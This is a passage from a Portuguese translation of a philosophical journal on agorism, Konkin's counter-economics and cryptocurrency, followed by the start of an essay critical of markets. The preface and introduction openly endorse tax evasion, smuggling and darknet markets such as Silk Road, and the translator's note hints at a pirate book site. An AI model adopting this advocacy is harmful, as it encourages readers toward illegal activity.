&lt;/code>&lt;/pre>&lt;p>&lt;a href="https://cypherpunks.com.br/about/#contribuidores">&lt;code>ver lista de contribuidores&lt;/code>&lt;/a>
&lt;/p>
&lt;hr>
&lt;ul>
&lt;li>
&lt;p>versão em PDF: &lt;a href="https://raw.githubusercontent.com/cypherpunksbr/agorismo-no-seculo-21/main/agorismo-no-seculo-21.pdf" target="_blank" rel="noopener noreferrer">Agorismo no século 21 - PDF&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>versão em EPUB: &lt;a href="https://github.com/cypherpunksbr/agorismo-no-seculo-21/raw/main/agorismo-no-seculo-21.epub" target="_blank" rel="noopener noreferrer">Agorismo no século 21 - Epub&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>versão em HTML: &lt;a href="https://raw.githubusercontent.com/cypherpunksbr/agorismo-no-seculo-21/main/agorismo-no-seculo-21.html" target="_blank" rel="noopener noreferrer">Agorismo no século 21 - HTML&lt;/a>
&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Zines: Em breve.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Versão em txt: Quando alguém quiser fazer.&lt;/p>
&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;strong>Nota do Tradutor&lt;/strong>&lt;/p>
&lt;p>É com grande orgulho que nós do Cypherpunks Brasil trazemos mais uma obra, o Agorismo no Século 21 é um compilado de textos de vários autores de diferentes áreas e divergências políticas/filosóficas a respeito de temas como tecnologia, filosofia, anarquismo, pós-estruturalismo, criptoanarquismo e é claro, agorismo. É interessante ver pontos a serem debatidos como o fundamentalismo sobre o mercado, conceitos deleuzianos na cibernética e vários outros.&lt;/p>
&lt;p>O agorismo é praticado por vários membros desse projeto. Mesmo anos após eu ter me distanciado do pensamento libertário vulgar e ido para o &lt;a href="https://bibliotecaanarquista.org/library/sebastien-faure-a-sintese-anarquista" target="_blank" rel="noopener noreferrer">&lt;em>Anarquismo sem Adjetivos,&lt;/em>&lt;/a>
nunca me vi querendo me distanciar da prática da contra-economia, qualquer um que pratique de fato e de forma consciente sabe o quão longe é possível ir com o criptoanarquismo e o agorismo posto no cotidiano, seja pelo &lt;a href="https://cypherpunks.com.br/documentos/agorismo-vertical-horizontal/">&lt;em>agorismo vertical&lt;/em> quanto pelo &lt;em>agorismo horizontal&lt;/em>&lt;/a>
buscando levar à acracia da organização política onde se encontra. Hoje com o projeto como está só me resta agradecer a todos que participaram ao longo desses anos.&lt;/p>
&lt;p>Os textos são divididos por cada autor, optei por pegar as citações dos livros que já foram traduzidos para facilitar na procura das citações, obviamente os que ainda não foram a gente mesmo traduziu. Cada um tem um tipo de escrita e até mesmo o estilo do texto muda, alguns como da Amy Ireland não são para simplesmente ler, e sim para se estudar e ir atrás pra entender mais a fundo sobre o assunto, outros tem o costume de usar bastante neologismo em seus trabalhos, são vários pontos de vista a respeito do tema. Para quem não está habituado com certos temas, conceitos e estilos dos autores, indicamos para o texto do Nick Land conhecer o &lt;a href="https://medium.com/up-future-sight/uma-breve-introdu%C3%A7%C3%A3o-ao-aceleracionismo-8d87113e65e5" target="_blank" rel="noopener noreferrer">aceleracionismo&lt;/a>
e o &lt;a href="http://www.ccru.net/index.htm" target="_blank" rel="noopener noreferrer">CCRU,&lt;/a>
já o da Amy Ireland obviamente indicamos os textos sobre &lt;a href="https://razaoinadequada.com/filosofos/deleuze/" target="_blank" rel="noopener noreferrer">Deleuze e Guattari do Razão Inadequada&lt;/a>
caso não tenha acesso aos volumes do Mil Platôs (tem um site que começa com &lt;em>lib&lt;/em> e termina com &lt;em>gen&lt;/em> que tem versão volume único, sim estamos falando da livraria Saraiva vai lá procurar), o &lt;a href="https://cochabambahotel.noblogs.org/files/2017/03/Manifesto_Ciborgue.pdf" target="_blank" rel="noopener noreferrer">Um Manifesto Ciborgue&lt;/a>
e o &lt;a href="https://oldnicksite.wordpress.com/2011/09/13/kinds-of-killing/" target="_blank" rel="noopener noreferrer">Kinds of Killing&lt;/a>
já que são as referências usadas entre outras, infelizmentes não consegui achar algum material da Sadie Plant que tenha chegado no Brasil, apenas em Portugal, vão ter que importar o livro ou se virar com o material em inglês, mas como foi dito são apenas indicações para se aprofundar nos temas e entender melhor a respeito do contexto acerca dos trabalhos apresentados. Espero que gostem, pois gostamos muito de entregar essa obra a vocês, mesmo quando tivemos certas dificuldades para entender o estilo de escrita. Esperamos que apreciem e caso encontrem algum erro podem reportar no nosso &lt;a href="https://github.com/cypherpunksbr/documentos" target="_blank" rel="noopener noreferrer">Github,&lt;/a>
site ou no nosso &lt;a href="https://t.me/CypherpunksBrasil" target="_blank" rel="noopener noreferrer">Telegram.&lt;/a>
Boa leitura!&lt;/p>
&lt;hr>
&lt;h1 id="agorismo-no-século-21">Agorismo no Século 21&lt;/h1>
&lt;h2 id="uma-revista-filosófica">Uma revista filosófica&lt;/h2>
&lt;h2 id="prefácio">Prefácio&lt;/h2>
&lt;p>Nos últimos anos, o ecossistema de criptomoedas se expandiu para territórios imprevistos. As memecoins proliferaram, trazendo consigo uma nova e enérgica classe de traders de criptomoedas. NFTs, DeFi e DAOs chegaram ao poder como primitivos essenciais para encorajar cripto-comunidades. Rumores de agitação regulatória são recebidos com avanços significativos na criptografia de conhecimento zero, que promete tornar o anonimato prático para usuários de criptografia.&lt;/p>
&lt;p>No entanto, como ecossistema, o crescimento da criptomoeda é impulsionado não por suas flores – os vários fenômenos técnicos que constituem a criptomoeda – mas por suas raízes: a filosofia da qual a criptomoeda se origina. É a afirmação deste periódico que as raízes da criptografia são firmemente agoristas. O agorismo é a subestrutura mítica da criptomoeda, sua fonte de nutrição e sua âncora.&lt;/p>
&lt;p>O agorismo é uma filosofia aplicada e prática. Sua tática primária é chamada de contra-economia: a soma de todas as atividades do mercado negro. O agorismo é a contra-economia exercida conscientemente. Nas palavras de seu fundador, Samuel Edward Konkin III (SEK3):&lt;/p>
&lt;blockquote>
&lt;p>À medida que mais pessoas conscientemente convertem seu trabalho e lazer para a contra-economia, o Estado perde tanto o controle quanto o sustento, como um vampiro perdendo sangue e vítimas. A contra-economia autoconsciente é chamada de A Ágora (e os libertários/contra-economistas são chamados de agoristas). (1987a)&lt;/p>
&lt;/blockquote>
&lt;p>Todos os tipos de sociedades paralelas, extremismo de privacidade e até Organizações Autônomas Descentralizadas (DAOs) remontam ao agorismo. Mais notoriamente, o agorismo inspirou o Silk Road, um mercado darknet adaptado para Bitcoin que em 2011 estava entre os primeiros projetos a prever o potencial insurrecional da criptomoeda. Seu fundador, Ross Ulbricht, proclamou “somos todos agoristas”, afirmando que “procuro transformar agoristas inconscientes em ativos conscientes” (Greenberg, 2013).&lt;/p>
&lt;p>Ecos de agorismo estão por toda parte na criptografia contemporânea. Web3 é a extensão dos princípios agoristas em todos os setores da sociedade – governança, cultura, finanças. Ainda assim, a criptomoeda é composta principalmente por “agoristas inconscientes”. A motivação deste periódico é mudar isso.&lt;/p>
&lt;p>Esta revista foi editada com os seguintes princípios agoristas em mente.&lt;/p>
&lt;p>&lt;strong>1. Rejeite as divisões políticas.&lt;/strong>&lt;/p>
&lt;p>Konkin situava o agorismo na extrema esquerda do espectro político. Esta foi uma escolha estratégica para ampliar a base de recrutamento possível para vozes radicais de toda a divisão partidária, com tendências revolucionárias enfatizadas acima de qualquer fidelidade política particular. Esta revista adota a mesma abordagem e se recusa a discriminar entre pensadores. Qualquer revolucionário anti-Estado é um aliado em potencial.&lt;/p>
&lt;p>&lt;strong>2. Bem-vindo à dissonância.&lt;/strong>&lt;/p>
&lt;p>O discurso necessita de conflito. Nas várias revistas que ele fez curadoria, Konkin incluiu deliberadamente vozes que não ressoavam umas com as outras, proclamando: “Todos que aparecem nesta publicação discordam!” (1987b). Isso foi fundamental para seu uso frequente do termo “aliança”, definido como “manejo conjunto de unidades soberanas para um objetivo e depois dissolvida” (Konkin, 2006, p. 57). O agorismo ensina a cooperação enquanto nutre a diferença.&lt;/p>
&lt;p>&lt;strong>3. Sem compromissos.&lt;/strong>&lt;/p>
&lt;p>O agorismo nasceu do conflito: Konkin rejeitou a formação do Partido Libertário e toda a política partidária – o que ele chamou de “partidarismo” – e manteve uma ideologia estritamente revolucionária. Após uma breve tentativa de destruir o Partido Libertário por dentro, em 1973 Konkin deixou a política partidária para sempre, levando seus seguidores com ele.&lt;/p>
&lt;p>A criptomoeda hoje se encontra em uma conjuntura semelhante. Em resposta a regulamentações injustas, as pessoas dentro das criptomoedas estão pedindo a criação de órgãos políticos focados em criptomoedas para se envolverem na política partidária. Este periódico dá voz à alternativa:&lt;/p>
&lt;h2 id="ágora-anarquia-ação">Ágora! Anarquia! Ação!&lt;/h2>
&lt;h3 id="referências">referências&lt;/h3>
&lt;ul>
&lt;li>Greenberg A (2013) Collected Quotations Of The Dread Pirate Roberts, Founder Of Underground Drug Site Silk Road And Radical Libertarian. Disponível em: &lt;a href="https://www.forbes.com/sites/andygreenberg/2013/04/29/collected-quotations-of-the-dread-pirate-roberts-founder-of-the-drug-site-silk-road-and-radical-libertarian/" target="_blank" rel="noopener noreferrer">https://www.forbes.com/sites/andygreenberg/2013/04/29/collected-quotations-of-the-dread-pirate-roberts-founder-of-the-drug-site-silk-road-and-radical-libertarian/&lt;/a>
&lt;/li>
&lt;li>Konkin III SE (1987a) Counter-Economics: Ruling Class/Power Elite. Movement of the Libertarian Left (MLL) Revised Series 1(9). Disponível em: &lt;a href="https://archives.kopubco.com/pdfs/MLLP09.pdf" target="_blank" rel="noopener noreferrer">https://archives.kopubco.com/pdfs/MLLP09.pdf&lt;/a>
&lt;/li>
&lt;li>Konkin III SE (1987b) New Libertarian 4(18/19). Disponível em: &lt;a href="https://archives.kopubco.com/pdfs/NL180.pdf" target="_blank" rel="noopener noreferrer">https://archives.kopubco.com/pdfs/NL180.pdf&lt;/a>
.&lt;/li>
&lt;li>Konkin III SE (2006) New Libertarian Manifesto. California: KoPubKo.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="uma-introdução-ao-agorismo-na-teoria-e-na-prática">Uma Introdução ao Agorismo na Teoria e na Prática&lt;/h2>
&lt;h3 id="dr-paul-dylan-ennis-e-ww-barlowe">Dr. Paul Dylan-Ennis e W.W. Barlowe&lt;/h3>
&lt;blockquote>
&lt;p>&lt;strong>&amp;ldquo;Apenas uma vez você não gostaria de ler um manifesto que foi praticado antes de ser pregado?&amp;rdquo; — Konkin III, 2009&lt;/strong>&lt;/p>
&lt;/blockquote>
&lt;p>&lt;strong>Uma Breve História do Agorismo&lt;/strong>&lt;/p>
&lt;p>O agorismo é tão obscuro que na história de 800 páginas do libertarianismo americano de Brian Doherty, &lt;em>Radicals for Capitalism&lt;/em>, Samuel Edward Konkin III (SEK3) é mencionado apenas algumas vezes. O trabalho de Konkin foi preservado por seu amigo Victor Koman. Os dois moravam em um bloco de apartamentos de Long Beach chamado &lt;em>The AnarchoVillage&lt;/em>. Koman nos diz que Konkin simplesmente deixou todos os seus escritos quando ele se mudou (Koman, 2021). O site do AnarchoVillage sugere que o bloco abrigava escritores de ficção científica com tendências libertárias. Sabemos que o trabalho de Konkin inspirou vários escritores de ficção científica, como Koman, William H. Patterson e J. Neil Schulman. O perfil escasso de Konkin no LinkedIn nos diz que ele era um &amp;ldquo;consultor e contratado de publicação sob demanda&amp;rdquo; e está listado como diretor executivo do &lt;em>&amp;ldquo;The Agorist Institute&amp;rdquo;&lt;/em>. Suspeita-se que a maior parte de seu emprego estava fora dos livros.&lt;/p>
&lt;p>Do arquivo herdado, Koman construiu fielmente uma espécie de corpo de trabalho. A literatura primária consiste em dois e poucos “livros”. Estes são volumes muito finos. O primeiro é o &lt;em>New Libertarian Manifesto,&lt;/em> publicado em 1980 pela obscura Anarchosamisdat Press, e parece ser o único livro publicado durante a vida de Konkin. Koman é responsável por duas edições posteriores (1983, 2006). An Agorist Primer foi escrito em 1986, mas não conseguiu encontrar uma editora. Koman publicou em 2008 sob sua marca KoPubCo. Há também uma edição para Kindle do livro inacabado de Counter-Economics: From Back Alleys to the Stars (Konkin III, 2018) de Konkin que enfatiza a prática do agorismo, mas é áspero. Além dessas fontes, temos alguns vídeos granulados em VHS de Konkin falando no ‘The Agorist Institute’. A filmagem sugere algo mais informal do que um instituto, como um clube de discussão.&lt;/p>
&lt;p>&lt;strong>O que é Agorismo na Teoria?&lt;/strong>&lt;/p>
&lt;p>Aqui está a definição de agorismo de Konkin: “&lt;em>&amp;hellip; a integração consistente da teoria libertária com a prática contra-econômica; um agorista é aquele que age consistentemente pela liberdade e na liberdade”&lt;/em> (Konkin III, 2009, p. 18). O agorismo é uma teoria da sociedade (libertarianismo), mas também defende como agir na sociedade, uma prática (contra-economia). Konkin quer que você largue o livro e contrabande óleo ou contrabandeie alguns filmes. Ou inicie uma troca DeFi não regulamentada. Mas ele também enfatiza que você deve &amp;lsquo;colocar a cabeça no lugar&amp;rsquo; com a teoria e ele geralmente entende isso como consistência em relação aos ideais libertários tradicionais: voluntarismo, não-violência, pró-mercado, socialmente permissivo, anti-estado, anti-guerra. Konkin acredita que essas ideias já estão implícitas ou latentes na maioria das pessoas, mas como o Estado é poderoso e coercitivo, internalizamos ideias estatistas.&lt;/p>
&lt;p>Konkin acredita que a passagem do estatismo para o agorismo envolverá várias etapas (fase 0-4) (2006, p. 60). Na Fase 0 (Sociedade Agorista de Densidade Zero) existem libertários nascentes ou proto-agoristas e a tarefa é converter as pessoas. Mesmo assim, a teoria nunca é apenas teoria. Konkin insiste em recrutar e educar indivíduos, mas também em encorajá-los a se engajar em atividades contra-econômicas. Aos já envolvidos em tais atividades pode-se mostrar a teoria que falta em sua prática (Konkin III, 2006, p. 60).&lt;/p>
&lt;p>Na Fase 1 (Sociedade Agorista de Baixa Densidade) as ideias libertárias têm alguma tração, mas há uma luta pela abordagem correta, por exemplo, devemos ter um Partido Libertário ou não? Contra-economistas são aqueles libertários que rejeitam a política partidária nesta conjuntura. Konkin encoraja a coordenação entre os primeiros ativistas agoristas na forma de alianças: “&amp;hellip; a organização básica para os ativistas New Libertarian é a &lt;em>New Libertarian Alliance”&lt;/em> (Konkin III, 2006, p. 57). Konkin oscila entre os nomes quando fala sobre alianças agoristas: às vezes Nova Aliança Libertária, às vezes Novo Libertarismo, às vezes Libertário de Esquerda. Um NLA não seria uma organização partidária tradicional e seria composto por estrategistas que &lt;em>vendem&lt;/em> agorismo. Esses Novos Libertários ou Esquerda são encorajados a agitar dentro de organizações libertárias estabelecidas na Fase 1 (Konkin III, 2006, p. 62).&lt;/p>
&lt;p>&lt;strong>Agorismo na prática&lt;/strong>&lt;/p>
&lt;p>Como o agorismo rejeita as leis estatais, em última análise, exige que espaços, zonas e territórios autônomos além do alcance do estado prossigam para a Fase 2. Ele precisa de um grande número de agoristas com ideias semelhantes vivendo e trabalhando juntos. Konkin vê o caminho da teoria para a prática como crucial aqui porque os agoristas mostrarão que a vida fora do estado não é apenas possível, mas preferível. Isso ocorre porque você estará vivendo de forma mais autêntica, mais consistente consigo mesmo, em vez de fingir que prefere a vida séria e segura do sistema atual.&lt;/p>
&lt;p>Essas zonas autônomas e a atividade dentro delas constituirão a Contra-Economia: &lt;em>“Toda ação humana (não coercitiva) cometida em desafio ao Estado constitui a Contra-Economia”&lt;/em> (Konkin III, 2009, p. 45). A atividade contra-econômica é um modo de vida e não apenas uma teoria. Envolve: “Evasão fiscal, evasão inflacionária, contrabando, produção liberada e distribuição ilegal&amp;hellip;” (Konkin III, 2009, p. 47). A atividade contra-econômica atual é valorizada porque é uma cabeça de ponte que pode ser aproveitada para desenvolver o agorismo completo: &amp;lsquo;O objetivo é viver na ágora e o caminho é &lt;em>expandir a Contra-Economia&lt;/em>&amp;rsquo; (Konkin III, 2009, p. 76) . O agorismo é o nosso fim, a Contra-Economia é o nosso meio.&lt;/p>
&lt;p>Na Fase 2 propriamente dita (Sociedade Agorista de Média Densidade e Pequena Condensação) o agorismo começou a &amp;lsquo;contaminar&amp;rsquo; a sociedade mais ampla (Konkin III, 2006, p. 63). Konkin imagina o surgimento de guetos agoristas (palavra dele) e distritos que têm algum apoio implícito ou simpatia da sociedade mais ampla (2006, p. 63). Não está claro para Konkin como esse apoio surgiria, mas presumivelmente as ideias agoristas proliferaram o suficiente para que mesmo aqueles fora dessas zonas apoiassem seu direito de existir, talvez reconhecendo, até mesmo desejando, o senso de autenticidade em exibição.&lt;/p>
&lt;p>Na Fase 3 (Sociedade Agorista de Alta Densidade e Grande Condensação), Konkin concebe um cenário em que o Estado e a Ágora (ambos agora capitalizados) são cada vez mais compatíveis em termos de seus recursos. O Estado, talvez empurrado pelo confronto com a Ágora, entra em uma série de “crises terminais” (Konkin III, 2006, p. 65). As Novas Alianças Libertárias (NLAs) estão vigilantes e trabalham para garantir que os suspiros finais do estatismo sejam ineficazes.&lt;/p>
&lt;p>Aqui Konkin vê as NLAs como eles próprios eventualmente extintos e ex-praticantes do Novo Libertário em transição para papéis abertos por uma sociedade agorista pura, ou seja, assumindo funções antes fornecidas pelo estado, como arbitragem ou proteção. Após um empurrão final do estado para se resgatar, passamos para a Fase 4 (Sociedade Agorista com Impurezas Estatistas). Nesta fase final, os resquícios do Estado são extirpados e reintegrados na nova sociedade agorista, reformada!&lt;/p>
&lt;p>&lt;strong>A relevância do Konkin&lt;/strong>&lt;/p>
&lt;p>Não há nada de incomum no status de Konkin como um pensador esquecido. Você pode encontrá-los em todos os lugares nas lombadas de livros antigos. Pessoas de grande perspicácia relegadas à obscuridade. O que é incomum é a extensão da presciência de Konkin sobre nossa sociedade e como o modelo de agorismo parece mapear tão bem a prática da criptomoeda especificamente. Konkin é cripto &lt;em>avant la lettre&lt;/em> (criptografia antes da carta) e deveria ser mais conhecido pelos defensores das criptomoedas.&lt;/p>
&lt;p>Aqui está Konkin sobre como a contra-economia poderia se beneficiar dos avanços na tecnologia de criptografia (escrito em 1986):&lt;/p>
&lt;blockquote>
&lt;p>“&amp;hellip; se a Contra-Economia lamber o problema da informação, eliminaria virtualmente o risco que incorre sob a ameaça do Estado. Ou seja, se você puder anunciar seus produtos, atingir seus clientes e aceitar pagamento (uma forma de informação), tudo isso fora das capacidades de detecção do Estado, que imposição de controle restaria?” (Konkin III, 2009, p. 49)&lt;/p>
&lt;/blockquote>
&lt;p>Se fosse possível criar um mercado anônimo para vender bens ilegais, a Contra-Economia resolveria o problema da aplicação da lei. Esta é a descrição mais antiga de mercados da darknet que conheço. Vale ressaltar que Ross Ulbricht foi influenciado a criar Silk Road lendo Konkin. Curiosamente, tanto Konkin quanto Ulbricht haviam estudado química em um nível avançado.&lt;/p>
&lt;p>Em seguida, aqui está a definição de Konkin de uma Nova Aliança Libertária: “&amp;hellip; uma associação de empresários da liberdade com o propósito de especializar, coordenar e entregar atividades libertárias que podem ser formadas e dissolvidas conforme necessário” (Konkin III, 2006, p. 57). A meu ver, isso soa como a Organização Autônoma Descentralizada (DAO) contemporânea. Uma comunidade de empreendedores orientados para objetivos específicos que, quando alcançados, podem ser abandonados ou reconfigurados. E onde grande parte da atividade que está acontecendo existe em algum lugar entre a atividade do mercado cinza e a atividade do mercado negro, por exemplo, Finanças Descentralizadas (DeFi).&lt;/p>
&lt;p>As fases de Konkin refletem a mentalidade sutil subjacente à atividade cripto-econômica, onde as inovações descentralizadas são criadas pela primeira vez, ganham uma posição e são conceitualmente difíceis de erradicar. Em particular, o sucesso da criptomoeda depende, em última análise, da construção de zonas autônomas em estados pré-existentes e, em seguida, da transferência de usuários para essa atividade contra-econômica atraente, por exemplo, &lt;em>yield farmings.&lt;/em> Isso abre uma abertura dentro da sociedade dominante sobre o que é economicamente possível ou mesmo permitido.&lt;/p>
&lt;p>&lt;strong>Conclusão&lt;/strong>&lt;/p>
&lt;p>Agorismo é a promoção da atividade do mercado negro. Valoriza a contra-economia como uma expressão de nosso verdadeiro eu fora do olhar atento do estado. Promove a ampliação da participação contra-econômica até que o território contíguo do estado seja erodido por zonas autônomas agoristas. No final, o agorismo nega a si mesmo quando a própria distinção entre atividade contra-econômica e atividade geral desmorona em uma, um mundo onde você pode ser consistente com seu verdadeiro eu mais uma vez.&lt;/p>
&lt;h3 id="referências-1">referências&lt;/h3>
&lt;ul>
&lt;li>Koman V(2021) Save Agorist Archives of Samuel Edward Konkin III, organised by Victor Koman. Disponível em: &lt;a href="https://ie.gofundme.com/f/save-agorist-archives-of-samuel-edward-konkin-iii%28accessed" target="_blank" rel="noopener noreferrer">https://ie.gofundme.com/f/save-agorist-archives-of-samuel-edward-konkin-iii(accessed&lt;/a>
9 June 2021).&lt;/li>
&lt;li>Konkin III SE(2006) New Libertarian Manifesto. California: KoPubKo.&lt;/li>
&lt;li>Konkin III SE(2009) An Agorist Primer. California: KoPubKo.&lt;/li>
&lt;li>Konkin III SE(2018) Counter-Economics: From the Back Alleys to the Stars. California: KoPubKo.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="o-mercado-como-uma-arma-na-sua-cabeça-ferramenta-na-sua-mão-ou-rota-de-fuga-do-inferno">O Mercado como uma Arma na sua Cabeça, Ferramenta na sua Mão ou Rota de Fuga do Inferno&lt;/h2>
&lt;h3 id="jaya-klara-brekke">Jaya Klara Brekke&lt;/h3>
&lt;p>Cresci em uma tradição política que critica os mercados como construções decisivamente coercitivas, intimamente ligadas à formação do Estado, à expansão do domínio colonial e à sistematização da violência racista e de gênero. É, portanto, uma sensação estranhamente surreal encontrar amigos aderindo aos os mercados como o motor primário de um projeto político libertador. Onde metade das minhas &lt;em>compañeras&lt;/em> estão se se rebelando contra a contínua compulsão do capitalismo de mercado que extrai recursos e mão de obra, a outra metade está brincando nos pastos verdes dos fundos de &lt;em>Venture Capital;&lt;/em> abastecendo construções financeiras cada vez mais elaboradas, construindo castelos no céu (ou deveríamos dizer palácios tokenizados no espaço?). Estranhamente, ambos parecem ter o mesmo objetivo: a liberação das restrições de dinheiro e a fuga final do inferno que está se quebrando, coletivamente e individualmente. Para meus novos cripto-amigos ricos, isso implica tocar em suas &lt;em>faucets&lt;/em> recém-desenvolvidas de dinheiro mágico. Mas para meus amigos anticapitalistas de punho no ar, “quebrar” não se refere tanto à falta de dinheiro quanto a ser afastado do que seria uma abundância natural se não fosse pelos desertos criados pelas máquinas extrativistas dos mercados capitalistas. Enquanto isso, de repente me vejo escrevendo estratégias de &lt;em>go-to-market&lt;/em> e entrando em canais específicos para empreendedores e empresários, me sentindo um pouco como um &lt;em>LARP&lt;/em> divertido, embora com consequências muito reais, inclusive para minha conta bancária. Em outras palavras, não estou escrevendo esta peça de um ponto de vista purista.&lt;/p>
&lt;p>Este texto é um ensaio. Sou eu, revisando publicamente minhas antigas notas de economia política e me preparando para uma reflexão muito mais longa sobre mercados, mercados negros, desenvolvimento, cibernética e psicoterapia (em breve, observe este espaço etc.). E o ponto que quero destacar neste ensaio é simples: se levados como um método primário para organizar as relações sociais, os mercados serão tão coercitivos quanto, embora mais nebulosos, do que qualquer Estado ou doutrina religiosa.&lt;/p>
&lt;p>&lt;strong>Mercados como uma arma na sua cabeça&lt;/strong>&lt;/p>
&lt;p>Para ensaiar os argumentos da tradição política na qual cresci na época, a história dos mercados como os conhecemos no capitalismo atual é mais ou menos assim: em tempos anteriores do que é (pelo menos por enquanto) conhecido como Reino Unido, as pessoas costumavam subsistir em grande parte de terras comunais, rios, lagos e florestas, recursos compartilhados cuidados por uma comunidade que dependia disso. Essas terras comunais foram então desapropriadas, cercadas e transformadas de um recurso compartilhado em propriedade privada por um punhado de proprietários de terras (uma situação que persiste até hoje). Isso resultou na expulsão de muitas pessoas, comunidades inteiras cortadas de seus meios de subsistência, o que criou uma classe trabalhadora, estimulando uma migração em massa para cidades e fábricas. Não podendo mais depender de recursos naturais, as pessoas foram forçadas a encontrar maneiras de obter dinheiro, geralmente vendendo seu trabalho e corpos de várias maneiras possíveis, a fim de acessar as necessidades básicas. Eles também tinham que pagar impostos ao estado para que pudessem pagar pelos exércitos. Estes poderiam então formar empreendimentos conjuntos com os “empresários” do dia e navegar e repetir esse processo violento de expropriação e exploração em escalas épicas em todo o mundo, de maneiras altamente racializadas e sistemicamente violentas, extraindo pessoas tanto quanto metais e madeira, em um avanço que não cessou desde então.&lt;/p>
&lt;p>Em suma: os mercados capitalistas, o colonialismo e o Estado moderno estão historicamente e altamente entrelaçados – um ponto que vale a pena refazer dado o persistente mito de estados e mercados como inimigos mortais. Os mercados precisam de estados para fazer cumprir as regras que lhes permitem operar de forma eficaz, enquanto os estados precisam de mercados para alimentar e financiar suas operações. É importante ressaltar que esta é apenas metade da história, por causa de batalhas e lutas históricas, os estados também consagraram níveis variados de direitos e proteções para riqueza e recursos de propriedade comum, o “estado social”, por assim dizer.&lt;/p>
&lt;p>Em algum momento do período pós-guerra, uma perspectiva começou a se firmar. “O Mercado” em um sentido abstrato tornou-se não apenas um lugar para comprar e vender bens e serviços, mas um processador de informações descentralizado. O Mercado era agora uma máquina para computar e coordenar as atividades humanas em larga escala sem a necessidade de planejamento central. Esse mito dos mercados como meio de libertar as pessoas do Estado e da sociedade se consolidou na década de 1980. Os mercados forneceriam a coordenação mínima necessária para suprir as necessidades materiais, deixando todos os outros aspectos da vida inteiramente a cargo da preferência individual. Ou assim foi a propaganda. Embora se possa concordar com esse esquema elaborado e achá-lo atraente no papel, a teoria tinha alguns pontos cegos sérios. Não menos importante, sem quaisquer forças sociais, culturais, políticas ou legais para respaldar os termos de engajamento, “O Mercado” rapidamente se centraliza em monopólios gigantes até que não haja mais mercados significativos para falar, mas apenas máfias com mais ou menos legitimidade legal.&lt;/p>
&lt;p>Havia alguns aspectos levemente psicóticos nessas ideias também. Para que funcionasse na prática, as pessoas precisariam realmente se comportar como os autômatos do modelo de mercado da informação. Em suma, eles tinham que ser isolados, egoístas e irracionais, relegando o trabalho de reflexão, resposta e responsabilidade aos mecanismos de feedback codificados no modelo de mercado. Não seria mais dever dos humanos refletir sobre seus arredores imediatos, confiar em suas experiências e uns nos outros, em vez disso, uma ordem superior estava em ação. E, como se vê, os mercados têm graves “falhas” e “externalidades”, significando consequências e condições para pessoas e lugares que simplesmente não são contabilizados.&lt;/p>
&lt;p>Para a maioria das pessoas, não há nada voluntário no mercado. Trata-se meramente de diferentes graus de coerção (para alguns, a um contracheque do desastre, enquanto para outros são cinco ou seis). Outro ditado estranhamente persistente é que o Estado tem o monopólio da violência. Enquanto isso, o mercado muitas vezes detém o monopólio dos meios de sobrevivência, inserindo-se em todas as relações que impõem uma intermediação monetária. “O Estado” pode ter a maioria das armas, mas o mercado tem uma grande influência sobre para onde apontá-las.&lt;/p>
&lt;p>&lt;strong>Mercados como uma ferramenta na sua mão&lt;/strong>&lt;/p>
&lt;p>Muitos dos ideais, acordos e contratos sociais construídos ao longo desta história foram revelados e alguns desmoronaram na crise financeira de 2008. Nenhum tolo poderia enganar a si mesmo, muito menos aos outros, de que “O Mercado” era uma força racional operando em um nível mais alto de coordenação agregada do que qualquer ser humano ou instituição poderia compreender. Infelizmente, a amnésia afundou rapidamente, e o admirável projeto do Bitcoin como uma forma digital de dinheiro antiautoritário aumentou o volume de uma elaborada renovação dessa ideologia retrógrada. Isso foi rapidamente generalizado através dos ethos iniciais do Ethereum - ou seja, que o problema não era a inconsciência, o isolamento, a expropriação e a desconfiança que os mercados fabricavam, mas que esses artefatos velhos e desajeitados simplesmente não foram projetados corretamente. Em suma, a dinâmica-mais-computação de mercado retificaria a simplicidade dos mercados capitalistas em um design mais elaborado e mais adequado. Grande parte da insensatez original persistiu em uma nova forma ingênua. E aqui quero dizer irracional literalmente: a intenção da economia hayekiana para o humano é remover a cognição crítica em favor de uma engrenagem que comporta-se como um idiota egoísta e a forma de ideologia cega coletiva. Da mesma forma, embora desta vez reconectado através do vocabulário e curiosidades culturais de histórias peer-to-peer, hackers e conceitos de engenharia de segurança da informação, os humanos agora eram considerados não apenas irracionais, mas também não confiáveis. Em suma, não confie em ninguém, e comporte-se como um autômato isolado egoísta, porque realmente, embora isso inicialmente pareça meio ruim, tudo se reunirá em uma forma superior de organização, um bem maior mediado computacionalmente.&lt;/p>
&lt;p>Felizmente, as lições foram aprendidas rapidamente e, depois de alguns erros, o volume de mercados como computação elaborada que seria mais perfeita do que pessoas foi rejeitado em favor de abordagens sob medida e ferramentas mais imediatamente úteis. E aqui estamos hoje. Os mercados são agora um espaço de design. Uma ferramenta em nossas mãos que pode ser projetada para alcançar resultados organizacionais e comportamentais específicos - muitos dos quais ainda precisam ser comprovados. Os incentivos são elaboradamente equilibrados em livros da enésima dimensão. É tudo muito legal. Como construções, quero dizer. Eu os percebo como expressões quase cristalinas de sonhos de mundos de desejo, e realmente os acho impressionantes pela pura criatividade cognitiva que entra em sua construção e anotações em white papers e Rust.&lt;/p>
&lt;p>No entanto, continuo a considerar e ficar de olho nas motivações coercitivas em muitos deles. Em outro lugar, alguns anos atrás, escrevi:&lt;/p>
&lt;blockquote>
&lt;p>a chegada explosiva da tecnologia da blockchain fragmentou o neoliberalismo em pequenos cacos que, em vez de serem destruídos, caíram e perfuraram todos nós e nossas coisas, transformando todas as nossas coisas em capital/ativos e todos os nossos esforços em especulação financeira.&lt;/p>
&lt;/blockquote>
